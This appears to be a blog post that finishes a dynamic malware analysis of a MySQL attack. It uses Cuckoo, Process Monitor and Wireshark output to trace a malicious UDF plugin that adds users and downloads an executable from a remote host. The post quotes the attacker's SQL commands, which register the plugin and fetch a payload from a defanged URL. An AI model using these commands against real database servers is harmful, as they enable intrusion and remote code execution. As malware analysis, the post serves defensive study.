Seeing an increase in MySQL attacks hitting your network and interested in knowing more about them? This post finishes the dynamic analysis and, for those who wish I’d hurry up and get to the point, contains the conclusion
. This post is long, but a lot of it is log output.
The Analysis
Continuing on…
To analyse what the attack and cna12.dll plugin DLL did, we’ll use both Cuckoo’s 1340.csv log file and the Process Monitor log file. Cuckoo’s log file is missing the start because it got overwritten when Cuckoo reinjected the same process. Consequently, it is missing the creation of the cna12.dll file, but Process Monitor saw it:
"11:07:25.9840653","mysqld.exe","1340","QueryOpen", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin","SUCCESS", "CreationTime: 27/11/2012 15:26:10, LastAccessTime: 04/12/2012 13:13:41, LastWriteTime: 27/11/2012 15:26:11, ChangeTime: 27/11/2012 15:26:11, AllocationSize: 0, EndOfFile: 0, FileAttributes: D" "11:07:25.9842622","mysqld.exe","1340","QueryOpen", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll", "NAME NOT FOUND","" "11:07:25.9887471","mysqld.exe","1340","CreateFile", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "Desired Access: Generic Write, Read Attributes, Disposition: Create, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: 0, OpenResult: Created" ... "11:07:25.9948275","mysqld.exe","1340","WriteFile", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "Offset: 0, Length: 3,584" "11:07:25.9951337","mysqld.exe","1340","WriteFile", "C:\cuckoo\logs\1340.csv","SUCCESS", "Offset: 26,599, Length: 155" "11:07:25.9952695","mysqld.exe","1340","CloseFile", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "" "11:07:25.9952997","mysqld.exe","1340","IRP_MJ_CLOSE", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", ""
It then tries to create the file C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.5\bin\cna12.dll and fails because this installation of MySQL doesn’t keep its bin directory under its Documents and Settings directory.
After reading information from the stored procedure/function related files proc.frm and proc.myi, we can see mysqld.exe load the new plugin DLL, followed by DLLs imported by cna12.dll:
"11:07:26.0565586","mysqld.exe","1340","QueryOpen", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "CreationTime: 24/12/2012 11:07:25, LastAccessTime: 24/12/2012 11:07:26, LastWriteTime: 24/12/2012 11:07:25, ChangeTime: 24/12/2012 11:07:25, AllocationSize: 4,096, EndOfFile: 3,584, FileAttributes: A" "11:07:26.0566980","mysqld.exe","1340","CreateFile", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "Desired Access: Execute/Traverse, Synchronize, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: n/a, ShareMode: Read, Delete, AllocationSize: n/a, OpenResult: Opened" "11:07:26.0593578","mysqld.exe","1340","CreateFileMapping", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "SyncType: SyncTypeCreateSection, PageProtection: PAGE_EXECUTE" "11:07:26.0649554","mysqld.exe","1340","QueryStandardInformationFile", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "AllocationSize: 4,096, EndOfFile: 3,584, NumberOfLinks: 1, DeletePending: False, Directory: False" "11:07:26.0649694","mysqld.exe","1340","CreateFileMapping", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "SyncType: SyncTypeOther" "11:07:26.0649806","mysqld.exe","1340", "FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "" "11:07:26.0649931","mysqld.exe","1340","FASTIO_ACQUIRE_FOR_CC_FLUSH", "C:","SUCCESS","" "11:07:26.0650066","mysqld.exe","1340","FASTIO_RELEASE_FOR_CC_FLUSH", "C:","SUCCESS","" "11:07:26.0650242","mysqld.exe","1340", "FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "" "11:07:26.0651728","mysqld.exe","1340","CreateFileMapping", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "SyncType: SyncTypeOther" "11:07:26.0651851","mysqld.exe","1340", "FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "" "11:07:26.0653178","mysqld.exe","1340","CloseFile", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "" "11:07:26.0654516","mysqld.exe","1340","Load Image", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "Image Base: 0x10000000, Image Size: 0x8000" "11:07:26.0654848","mysqld.exe","1340","ReadFile", "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\cna12.dll","SUCCESS", "Offset: 3,072, Length: 512, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O" "11:07:26.1083679","mysqld.exe","1340","Load Image", "C:\WINDOWS\system32\netapi32.dll","SUCCESS", "Image Base: 0x5b860000, Image Size: 0x55000" "11:07:26.1085856","mysqld.exe","1340","Load Image", "C:\WINDOWS\system32\urlmon.dll","SUCCESS", "Image Base: 0x7e1e0000, Image Size: 0xa2000" "11:07:26.1087574","mysqld.exe","1340","Load Image", "C:\WINDOWS\system32\ole32.dll","SUCCESS", "Image Base: 0x774e0000, Image Size: 0x13d000" "11:07:26.1102517","mysqld.exe","1340","Load Image", "C:\WINDOWS\system32\shlwapi.dll","SUCCESS", "Image Base: 0x77f60000, Image Size: 0x76000"
After a flurry of registry accesses to Internet Explorer related keys underneath HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\, possibly caused by urlmon.dll initialising, and some writes to func.myi (which I suspect is another MySQL stored procedure/function related file), we see the first sign that our xpdl3() function has started:
"11:07:26.2141624","mysqld.exe","1340","RegCreateKey",
"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\
RDP-Tcp","SUCCESS",
"Desired Access: Maximum Allowed"
"11:07:26.2143180","mysqld.exe","1340","WriteFile",
"C:\cuckoo\logs\1340.csv","SUCCESS",
"Offset: 34,057, Length: 264"
"11:07:26.2143375","mysqld.exe","1340","RegQueryValue",
"HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\
RDP-Tcp\PortNumber","SUCCESS",
"Type: REG_DWORD, Length: 4, Data: 3389"
"11:07:26.2144521","mysqld.exe","1340","WriteFile",
"C:\cuckoo\logs\1340.csv","SUCCESS",
"Offset: 34,321, Length: 188"
"11:07:26.2146074","mysqld.exe","1340","RegCloseKey",
"HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\
RDP-Tcp","SUCCESS",
""
"11:07:26.2147194","mysqld.exe","1340","WriteFile",
"C:\cuckoo\logs\1340.csv","SUCCESS",
"Offset: 34,509, Length: 128"
We know from our static analysis that that registry access is the first thing that the xpdl3() function in cna12.dll does. You can also see the WriteFile() entries where the injected Cuckoo DLL is writing to the Cuckoo process log file, 1340.csv.
We then see it searching for, and loading, samlib.dll, which is a DLL imported by netapi32.dll, and contains functions to, amongst other things, add and delete users. I would be guessing that this behaviour was caused by the NetUserAdd() call in cna12.dll. Thinking about it, I think I’ll add the EvtSys Eventlog to Syslog service to my Cuckoo guest and configure it to send syslog messages to a non-existent host. Those syslog messages should then be collected by Cuckoo and stored in dump.pcap. I can then use tshark to extract the syslog messages which I would hope would contain messages pertaining to the addition/deletion of users. As it is, Event Log messages are lost when Cuckoo restores the guest VM.
"11:07:26.2151667","mysqld.exe","1340","CreateFile", "C:\WINDOWS\system32\samlib.dll","SUCCESS", "Desired Access: Execute/Traverse, Synchronize, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: n/a, ShareMode: Read, Delete, AllocationSize: n/a, OpenResult: Opened" "11:07:26.2152743","mysqld.exe","1340","CreateFileMapping", "C:\WINDOWS\system32\samlib.dll","SUCCESS", "SyncType: SyncTypeCreateSection, PageProtection: PAGE_EXECUTE" "11:07:26.2152899","mysqld.exe","1340","FASTIO_ACQUIRE_FOR_CC_FLUSH", "C:\WINDOWS\system32\samlib.dll","SUCCESS","" "11:07:26.2153039","mysqld.exe","1340","FASTIO_RELEASE_FOR_CC_FLUSH", "C:\WINDOWS\system32\samlib.dll","SUCCESS","" "11:07:26.2153167","mysqld.exe","1340", "FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION", "C:\WINDOWS\system32\samlib.dll","SUCCESS","" "11:07:26.2153296","mysqld.exe","1340","CreateFileMapping", "C:\WINDOWS\system32\samlib.dll","SUCCESS", "SyncType: SyncTypeOther" "11:07:26.2153416","mysqld.exe","1340", "FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION", "C:\WINDOWS\system32\samlib.dll","SUCCESS","" "11:07:26.2154617","mysqld.exe","1340","CloseFile", "C:\WINDOWS\system32\samlib.dll","SUCCESS","" "11:07:26.2155072","mysqld.exe","1340","IRP_MJ_CLOSE", "C:\WINDOWS\system32\samlib.dll","SUCCESS","" "11:07:26.2161241","mysqld.exe","1340","Load Image", "C:\WINDOWS\system32\samlib.dll","SUCCESS", "Image Base: 0x71bf0000, Image Size: 0x13000"
The Process Monitor log file then contains a lot of WriteFile() calls to write to Cuckoo’s log file, it’s a pity they were lost, followed by a CreateFile() call which matches that made by a DeleteFile() call:
"11:07:26.3446209","mysqld.exe","1340","CreateFile", "C:\WINDOWS\Temp\isetup.exe","NAME NOT FOUND", "Desired Access: Read Attributes, Delete, Disposition: Open, Options: Non-Directory File, Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a"
There is then another flurry of activity referencing registry keys like HKLM\Software\Microsoft\DownloadManager and HKCR\PROTOCOLS\Name-Space Handler\http, and the loading of several DLLs including:
"11:07:26.4513436","mysqld.exe","1340","Load Image", "C:\WINDOWS\system32\wininet.dll","SUCCESS", "Image Base: 0x771b0000, Image Size: 0xaa000" "11:07:26.4515009","mysqld.exe","1340","Load Image", "C:\WINDOWS\system32\crypt32.dll","SUCCESS", "Image Base: 0x77a80000, Image Size: 0x95000" "11:07:26.4516532","mysqld.exe","1340","Load Image", "C:\WINDOWS\system32\msasn1.dll","SUCCESS", "Image Base: 0x77b20000, Image Size: 0x12000" "11:07:26.4518432","mysqld.exe","1340","Load Image", "C:\WINDOWS\system32\oleaut32.dll","SUCCESS", "Image Base: 0x77120000, Image Size: 0x8b000"
I would be guessing that this activity is caused by the call to URLDownloadToFile(). Again, there is then a flurry of activity checking registry keys related to Internet Explorer settings, another batch of WriteFile() calls to write entries (which have been lost) to Cuckoo’s log file, and then something more interesting:
"11:07:26.8771000","mysqld.exe","1340","Thread Create", "","SUCCESS", "Thread ID: 1432"
Since there isn’t an API call in xpdl3() to explicitly create a new thread, and I have tested URLDownloadToFileA() and noticed that it did, I’m guessing that this new thread is the result of the URLDownloadToFileA() call in cna12.dll‘s xpdl3().
We then get to the point shown above, where mysqld.exe creates two new threads and a new Cuckoo DLL is injected, followed by the 1340.csv log file being recreated and overwritten. From this point on, we should also see Cuckoo’s DLL log entries in 1340.csv. I created a quick awk script to prepend each line of 1340.csv with its offset in to the file. This made it really easy to match Process Monitor’s WriteFile() log entries for 1340.csv, to the actual log line in 1340.csv because the offset in to the file is passed as an argument to each WriteFile() call:
awk 'BEGIN { t = 0; }
{
print t ": " $0;
t += length($0) + 1
}' 1340.csv > 1340.offsets
Note that the 1 added on to the length is to count the newline character. The carriage return character (this log file was generated on a Windows platform) isn’t recognised as an end-of-line marker by awk (on a UNIX platform anyway) and hence its length() function includes it when calculating the length of the line.
Eventually, the Process Monitor log starts to get a little more interesting, and this is also an example of where we need to refer to Cuckoo’s log file as it has captured some information which Process Monitor didn’t. The following snippet is from Process Monitor’s log file:
"11:07:31.5393073","mysqld.exe","1340","WriteFile", "C:\cuckoo\logs\1340.csv","SUCCESS", "Offset: 8,357, Length: 172" "11:07:31.5409941","mysqld.exe","1340","WriteFile", "C:\cuckoo\logs\1340.csv","SUCCESS", "Offset: 8,529, Length: 186" "11:07:31.5411922","mysqld.exe","1340","WriteFile", "C:\cuckoo\logs\1340.csv","SUCCESS", "Offset: 8,715, Length: 123" "11:07:31.5413115","mysqld.exe","1340","WriteFile", "C:\cuckoo\logs\1340.csv","SUCCESS", "Offset: 8,838, Length: 123" "11:07:31.5414892","mysqld.exe","1340","WriteFile", "C:\cuckoo\logs\1340.csv","SUCCESS", "Offset: 8,961, Length: 172" "11:07:31.5415817","mysqld.exe","1340","WriteFile", "C:\cuckoo\logs\1340.csv","SUCCESS", "Offset: 9,133, Length: 196"
All Process Monitor tells us, is that mysqld.exe was writing to Cuckoo’s process log file, 1340.csv (1340 being the PID of the mysqld.exe process). However, if we use my annotated version of the Cuckoo log file with each line’s offset location added, we can quickly find which log entires were being written at this point, by matching the Offset: value from Process Monitor’s log file with the offset value annotated to Cuckoo’s log file:
8357: "2012-12-24 00:07:31,540","1340","mysqld.exe","1720","428", "services","OpenSCManagerW","SUCCESS","0x001745e8", "MachineName->","DatabaseName->","DesiredAccess->2147483648" 8529: "2012-12-24 00:07:31,540","1340","mysqld.exe","1720","428", "services","OpenServiceW","SUCCESS","0x00174440", "ServiceControlManager->0x001745e8","ServiceName->RASMAN", "DesiredAccess->4" 8715: "2012-12-24 00:07:31,540","1340","mysqld.exe","1720","428", "system","NtClose","SUCCESS","0x00000000", "Handle->0x000232f4" 8838: "2012-12-24 00:07:31,540","1340","mysqld.exe","1720","428", "system","NtClose","SUCCESS","0x00000000", "Handle->0x000232f8" 8961: "2012-12-24 00:07:31,540","1340","mysqld.exe","1720","428", "system","LdrLoadDll","SUCCESS","0x00000000", "Flags->89193828","FileName->RASMAN.DLL","BaseAddress->0x76e90000" 9133: "2012-12-24 00:07:31,540","1340","mysqld.exe","1720","428", "system","LdrGetProcedureAddress","SUCCESS","0x00000000", "ModuleHandle->0x76e90000","FunctionName->RasPortClearStatistics", "Ordinal->0"
This behaviour is performed by URLDownloadToFile() — I can see it in the Cuckoo log file from analysing my test URLDownloadToFile() program. After another flurry of activity presumably due to DLL initialisation routines, we see the following two log entries, the first being from Process Monitor’s log file and the second from Cuckoo’s:
"11:07:31.9005622","mysqld.exe","1340","WriteFile", "C:\cuckoo\logs\1340.csv","SUCCESS", "Offset: 141,292, Length: 137"
Which corresponds to:
141292: "2012-12-24 00:07:31,901","1340","mysqld.exe","596","428","network", "DnsQuery_W","SUCCESS","0x00000000", "Name->","Type->1","Options->0"
Unfortunately, the name isn’t logged. Type 1 is an A record.
Now this is interesting. Both Process Monitor and Cuckoo logged the following registry access:
# Process Monitor's log file "11:07:31.9105989","mysqld.exe","1340","RegOpenKey", "HKCU\Software\Microsoft\Windows\CurrentVersion\ Internet Settings\ZoneMap\Domains\3322.org","NAME NOT FOUND", "Desired Access: Read" # Cuckoo's log file 151340: "2012-12-24 00:07:31,911","1340","mysqld.exe","1720","428", "registry","RegOpenKeyExA","FAILURE","0x00000002", "Registry->0x00023370","SubKey->Domains\3322.org","Handle->0x00000000"
Although the name argument is missing from the previous DnsQuery_W() call, this registry check gives away the domain of the web server when the URLDownloadToFile() function checks to see which zone the site belongs to — nice.
In a similar registry lookup, this query gives away the protocol, HTTP:
# Process Monitor's log file "11:07:31.9115222","mysqld.exe","1340","RegQueryValue", "HKCU\Software\Microsoft\Windows\CurrentVersion\ Internet Settings\ZoneMap\ProtocolDefaults\http","SUCCESS", "Type: REG_DWORD, Length: 4, Data: 3" # Cuckoo's log file 152522: "2012-12-24 00:07:31,911","1340","mysqld.exe","1720","428", "registry","RegQueryValueExW","SUCCESS","0x00000000", "Handle->144248","ValueName->http","Type->4","Buffer->0x0550fbf4"
Then, after another DnsQuery_W() with no name, we see another interesting log entry. This is another instance of Process Monitor not capturing it, but our feathered friend’s namesake did:
157354: "2012-12-24 00:07:31,921","1340","mysqld.exe","1720","428", "network","getaddrinfo","FAILURE","0x00002af9", "NodeName->hackfei1 . 3322 . org","ServiceName->"
Bingo — now we have the name of the server in the URL. This was all visible in the MySQL command anyway, but it’s always good to see the same information in a number of different places.
We then see something in the Cuckoo log that suggests some networking is about to take place:
159502: "2012-12-24 00:07:31,931","1340","mysqld.exe","596","428", "system","LdrLoadDll","SUCCESS","0x00000000", "Flags->86112848","FileName->IPHLPAPI.DLL","BaseAddress->0x76d60000" 159675: "2012-12-24 00:07:31,931","1340","mysqld.exe","596","428", "system","LdrGetProcedureAddress","SUCCESS","0x00000000", "ModuleHandle->0x76d60000","FunctionName->GetAdaptersInfo","Ordinal->0" 159863: "2012-12-24 00:07:31,931","1340","mysqld.exe","596","428", "filesystem","NtCreateFile","FAILURE","0xc0000034", "FileHandle->0x00000000","DesiredAccess->536870912", "FileName->\Device\Tcp6","CreateDisposition->3" 160073: "2012-12-24 00:07:31,931","1340","mysqld.exe","596","428", "filesystem","NtCreateFile","FAILURE","0xc0000034", "FileHandle->0x00000000","DesiredAccess->536870912", "FileName->\Device\Tcp6","CreateDisposition->3"
It is attempting to open the \Device\Tcp6 device file which, as far as I can tell (see http://mba.shengwushibie.com/itbook/BookChapter.asp?id=28555), is a device provided by the older TDI interface (TDX) to provide backward compatibility for applications using the older TDI interface. The Tcp6 device is presumably for TCP over IPv6.
We then see it try the \Device\Tcp device with a bit more success.
160859: "2012-12-24 00:07:31,931","1340","mysqld.exe","596","428", "filesystem","NtCreateFile","SUCCESS","0x00000000", "FileHandle->0x00023384","DesiredAccess->537919488", "FileName->\Device\Tcp","CreateDisposition->3" 161068: "2012-12-24 00:07:31,931","1340","mysqld.exe","596","428", "device","DeviceIoControl","SUCCESS","0x00000001", "DeviceHandle->0x00023384","IoControlCode->1179651", "InBuffer->0x0521c820","OutBuffer->0x0017d898"
Following that are other device related operations and registry accesses which won’t help us to confirm our static analysis, at least not without an in depth knowledge of device accesses and registry operations that are performed by the various Win32 API calls. We then get to the following which, again, is only visible in Cuckoo’s log file:
166248: "2012-12-24 00:07:31,941","1340","mysqld.exe","596","428", "registry","RegQueryValueExA","FAILURE","0x00000002", "Handle->0x00023214","ValueName->AutoProxyDetectType","Type->143892", "Buffer->0x0521fa90" 166450: "2012-12-24 00:07:31,941","1340","mysqld.exe","596","428", "network","DnsQuery_W","FAILURE","0x0000007b","Name->wpad","Type->1", "Options->0"
These actions will be the result of Windows trying to automatically find a HTTP proxy to use, and I would have thought would allow anyone to take on that role by spoofing an appropriate DNS reply.
Now here is something that we should recognise, a bit further down in Cuckoo’s log:
168058: "2012-12-24 00:07:32,101","1340","mysqld.exe","1720","428", "network","getaddrinfo","SUCCESS","0x00000000", "NodeName->hackfei1 . 3322 . org","ServiceName->" 168211: "2012-12-24 00:07:32,101","1340","mysqld.exe","1720","428", "filesystem","NtCreateFile","SUCCESS","0x00000000", "FileHandle->0x00023398","DesiredAccess->3222274048", "FileName->\Device\Afd\Endpoint","CreateDisposition->3" 168431: "2012-12-24 00:07:32,121","1340","mysqld.exe","1720","428", "system","LdrLoadDll","SUCCESS","0x00000000", "Flags->89192812","FileName->C:\WINDOWS\System32\mswsock.dll", "BaseAddress->0x71a50000" 168624: "2012-12-24 00:07:32,121","1340","mysqld.exe","1720","428", "threading","CreateThread","SUCCESS","0x000233bc", "StartRoutine->0x71a5d33a","Parameter->0x0015c130","CreationFlags->0", "ThreadId->1052" 168821: "2012-12-24 00:07:32,121","1340","mysqld.exe","1720","428", "system","NtClose","SUCCESS","0x00000000", "Handle->0x000233bc"
Recognise the name in the getaddrinfo() call, hackfei1 . 3322 . org?. That name appears in the URL in the xpdl3() call from the MySQL statement in the attack:
CREATE FUNCTION xpdl3 RETURNS STRING SONAME 'cna12.dll'
select xpdl3('hxxp:// hackfei1 . 3322 . org : 22 /888.exe','c:\\isetup.exe')
We then see it call LdrLoadDll() to load C:\WINDOWS\System32\mswsock.dll, before using LdrGetProcedureAddress() (in the next snippet) to find the address of HttpQueryInfoA(). According to the MSDN documentation, HttpQueryInfoA() ‘Retrieves header information associated with an HTTP request’.
The CreateThread() in the middle, I suspect, is an example of the URLDownloadToFileA() call creating new threads. We can’t tell for certain because Cuckoo overwrote it’s log file and so we are missing the start (so we can’t see the thread id of the initial thread, nor which threads were created by the initial thread), and the Process Monitor log file doesn’t have thread ids in it.
However, as we can see here, thread id 1720 goes on to create an Internet Explorer cache file. Creation of a browser cache file is an operation that tends to be performed by either a browser process or a library thereof, and not by arbitrary applications, hence I am suspecting that thread 1720 is running Win32 library code and that the CreateThread() call is the result of a call to URLDownloadToFileA().
168944: "2012-12-24 00:07:32,121","1340","mysqld.exe","1720","428",
"filesystem","NtCreateFile","SUCCESS","0x00000000",
"FileHandle->0x000233bc","DesiredAccess->3222274048",
"FileName->\Device\Afd\AsyncConnectHlp","CreateDisposition->3"
[network data is sent and received, which doesn't show up in Cuckoo's log file -- this is discussed below]
169171: "2012-12-24 00:07:32,492","1340","mysqld.exe","1720","428",
"filesystem","NtCreateFile","SUCCESS","0x00000000",
"FileHandle->0x000233c4","DesiredAccess->1074790528",
"FileName->\??\C:\Documents and Settings\...\Local Settings\
Temporary Internet Files\Content.IE5\H8T9VMND\888[1].exe",
"CreateDisposition->2"
169478: "2012-12-24 00:07:32,502","1340","mysqld.exe","1720","428",
"system","LdrGetProcedureAddress","SUCCESS","0x00000000",
"ModuleHandle->0x771b0000","FunctionName->HttpQueryInfoA","Ordinal->0"
This is where Process Monitor’s log file comes in handy. It shows that between the NtCreateFile() to open \Device\Afd\AsyncConnectHlp and the NtCreateFile() to open the cache file 888[1].exe, the process sends and receives some TCP data.
"11:07:32.4904402","mysqld.exe","1340","TCP Send", "guineapig:1040 -> 555.13.1.16:22","SUCCESS","Length: 211" "11:07:32.4904500","mysqld.exe","1340","TCP Receive", "guineapig:1040 -> 555.13.1.16:22","SUCCESS","Length: 227" "11:07:32.4932945","mysqld.exe","1340","TCP Receive", "guineapig:1040 -> 555.13.1.16:22","SUCCESS","Length: 1460"
We know that the networking occurred in between those two NtCreateFile() entries in Cuckoo’s log file, despite the time stamps suggesting otherwise, because if we look at Process Monitor’s log file we can see the WriteFile() call to write the first NtCreateFile() entry in Cuckoo’s log file, then the networking, then the CreateFile() call to create the 888[1].exe cache file (the lines beginning with ‘#’ are my annotations):
# writing 1340.csv:922 NtCreateFile("\Device\Afd\AsyncConnectHlp")
"11:07:32.1278584","mysqld.exe","1340","WriteFile",
"C:\cuckoo\logs\1340.csv","SUCCESS",
"Offset: 168,944, Length: 227"
...
# sends request to 220.113.10.163:22
"11:07:32.4904402","mysqld.exe","1340","TCP Send",
"guineapig:1040 -> 220.113.10.163:22","SUCCESS","Length: 211"
# receives file data from 220.113.10.163:22
"11:07:32.4904500","mysqld.exe","1340","TCP Receive",
"guineapig:1040 -> 220.113.10.163:22","SUCCESS","Length: 227"
"11:07:32.4932945","mysqld.exe","1340","TCP Receive",
"guineapig:1040 -> 220.113.10.163:22","SUCCESS","Length: 1460"
...
"11:07:32.4963111","mysqld.exe","1340","QueryOpen",
"C:\Documents and Settings\...\Local Settings\Temporary Internet Files\
Content.IE5\H8T9VMND\888[1].exe","NAME NOT FOUND",""
"11:07:32.4964536","mysqld.exe","1340","CreateFile",
"C:\Documents and Settings\...\Local Settings\Temporary Internet Files\
Content.IE5\H8T9VMND\888[1].exe","SUCCESS",
"Desired Access: Generic Write, Read Attributes, Disposition: Create,
Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N,
ShareMode: Read, Write, AllocationSize: 0, OpenResult: Created"
Now, if we load Cuckoo’s saved dump.pcap file in to Wireshark, we can see if that IP address was the result of the getaddrinfo() call on the hostname in the URL, or whether it obtained it from elsewhere (hard coded, or as the result of communicating with an external host, for example). I’ve obviously obfuscated that IP address, and I notice that that hostname no longer resolves to the same IP address that it did when I ran the Cuckoo session.
No.Time Source Destination Protocol Length Info 29 2012-12-24 11:07:40.589687 <cuckoovmipaddr> <dnsservipaddr> DNS 77 Standard query 0xf51e A hackfei1 . 3322 . org 36 2012-12-24 11:07:40.760390 <dnsservipaddr> <cuckoovmipaddr> DNS 93 Standard query response 0xf51e A 555.13.1.16
So yes, Wireshark decodes the DNS query and lets us confirm that the IP address was obtained as a result of the DNS query.
Now let’s see if we can find the data that was being sent and received as part of the logged TCP Send and TCP Receive operations logged by Process Monitor by finding the TCP connection to port 22 on 555.13.1.16.
No.Time Source Destination
Protocol Length Info
37 2012-12-24 11:07:40.787524 <cuckoovmipaddr> 555.13.1.16
TCP 62 netarx > ssh [SYN] Seq=0 Win=64240 Len=0 MSS=1460
SACK_PERM=1
38 2012-12-24 11:07:40.965700 555.13.1.16 <cuckoovmipaddr>
TCP 62 ssh > netarx [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0
MSS=1412 SACK_PERM=1
39 2012-12-24 11:07:40.965926 <cuckoovmipaddr> 555.13.1.16
TCP 60 netarx > ssh [ACK] Seq=1 Ack=1 Win=64240 Len=0
40 2012-12-24 11:07:40.966298 <cuckoovmipaddr> 555.13.1.16
SSH 265 Encrypted request packet len=211
41 2012-12-24 11:07:41.151331 555.13.1.16 <cuckoovmipaddr>
SSH 281 Encrypted response packet len=227
It looks like we can — notice that the data length in packet #40 is 211 bytes and the data length in packet #41 is 227 bytes. Those lengths match the Length values reported in the Process Monitor log TCP Send and TCP Receive entries.
If we try to see the data that was sent/received over the connection, we notice that Wireshark is decoding port 22/tcp as SSH, which is perfectly sensible given that port 22/tcp is the well known port for SSH. However, we can be reasonably sure that there is a HTTP server on port 22/tcp in this case because we’ve seen a URLDownloadToFileA() call. Let’s tell Wireshark to decode it as HTTP and see if we are correct.
No.Time Source Destination
Protocol Length Info
37 2012-12-24 11:07:40.787524 <cuckoovmipaddr> 555.13.1.16
TCP 62 netarx > ssh [SYN] Seq=0 Win=64240 Len=0 MSS=1460
SACK_PERM=1
38 2012-12-24 11:07:40.965700 555.13.1.16 <cuckoovmipaddr>
TCP 62 ssh > netarx [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0
MSS=1412 SACK_PERM=1
39 2012-12-24 11:07:40.965926 <cuckoovmipaddr> 555.13.1.16
TCP 60 netarx > ssh [ACK] Seq=1 Ack=1 Win=64240 Len=0
40 2012-12-24 11:07:40.966298 <cuckoovmipaddr> 555.13.1.16
HTTP 265 GET /888.exe HTTP/1.1
41 2012-12-24 11:07:41.151331 555.13.1.16 <cuckoovmipaddr>
TCP 281 [TCP segment of a reassembled PDU]
That’s better — this does indeed look more like an HTTP connection than an SSH one, as now we can see it requesting the file part of the URL, /888.exe.
Let’s follow the TCP stream and see the whole conversation:
GET /888.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E) Host: hackfei1 . 3322 . org : 22 Connection: Keep-Alive HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 115374 Accept-Ranges: bytes Server: HFS 2.3 beta Content-Disposition: attachment; filename="888.exe"; Last-Modified: Sun, 23 Dec 2012 23:36:08 GMT MZ......................@...............................................!.. L.!This program cannot be run in DOS mode.
The first block is the HTTP request, with headers, that was sent by the web client, the cna12.dll xpdl3() function calling the URLDownloadToFileA() Win32 API call in this case.
The second block is the HTTP response headers from the server. The third block is the start of the actual URL data which, in this case, looks remarkably like the start of a Win32 executable file/DLL. Hardly surprising given that the filename at the end of the URL was 888.exe.
We can actually confirm something else while we’ve got Wireshark’s Follow TCP Stream window open. If, instead of Entire conversation, we select 555.13.1.16:ssh -> <cuckoovmipaddr>:<localport>, then Wireshark will only show us the data coming from the server. If we then make sure that Raw is selected as the format, and save the data using the Save As button, with a little bit of trimming we will be left with a copy of the executable file that was downloaded. We can then calculate a hash of this file and compare that with a hash of the dropped isetup.exe file that Cuckoo saved, to strengthen our static analysis claim that the URL in the attack’s MySQL commands is downloaded to isetup.exe.
There are two ways that I can think of for trimming the file. One is manual, and one can be automated (hooray). The manual method involves loading the file in to a hex editor, such as bvi on a UNIX box, and deleting the bytes (HTTP response headers) from the beginning, until the file starts with the PE32 signature of MZ.
If, however, you are in to funky scripting/automation, and you’re using a UNIX platform, then you can try this one liner:
$ dd if=httpbin.raw of=888.exe bs=1 skip=`strings -td -n 2 httpbin.raw | tr -s " " | grep "^ [0-9]* MZ$" | cut -d\ -f2 |head -1` 115374+0 records in 115374+0 records out 115374 bytes (115 kB) copied, 0.235459 s, 490 kB/s
The if=httpbin.raw sets the input file to httpbin.raw which is the file name that I used in Wireshark’s Follow TCP Stream feature to save the raw data from the server to a file. of=888.exe sets the output file to 888.exe — I just used the same name that was in the URL. bs=1 sets the block size to 1 byte blocks. dd reads and writes data in blocks.
While it would be much more efficient to use a larger block size, the skip option takes a number of blocks as its parameter. Since the commands in between the “ characters are fetching the offset in bytes, of the first MZ string, we need to specify 1 as the block size. An alternative to this would be to use those “ commands to specify the block size and then set skip=1 to skip one block. That is, swap the arguments of the skip and bs.
Notice how dd is reporting that it copied 115374 bytes, which nicely matches the Content-Length: header in the HTTP response from the server. Let’s check the file type as a sanity check, and then generate an MD5 hash.
$ file 888.exe
888.exe: PE32 executable (GUI) Intel 80386, for MS Windows
# file type looks good -- let's generate a hash
$ md5sum -b 888.exe
3ae654b9cb0eb2b07264f56d3a8a6be9 *888.exe
# and now a hash of the dropped file that Cuckoo saved
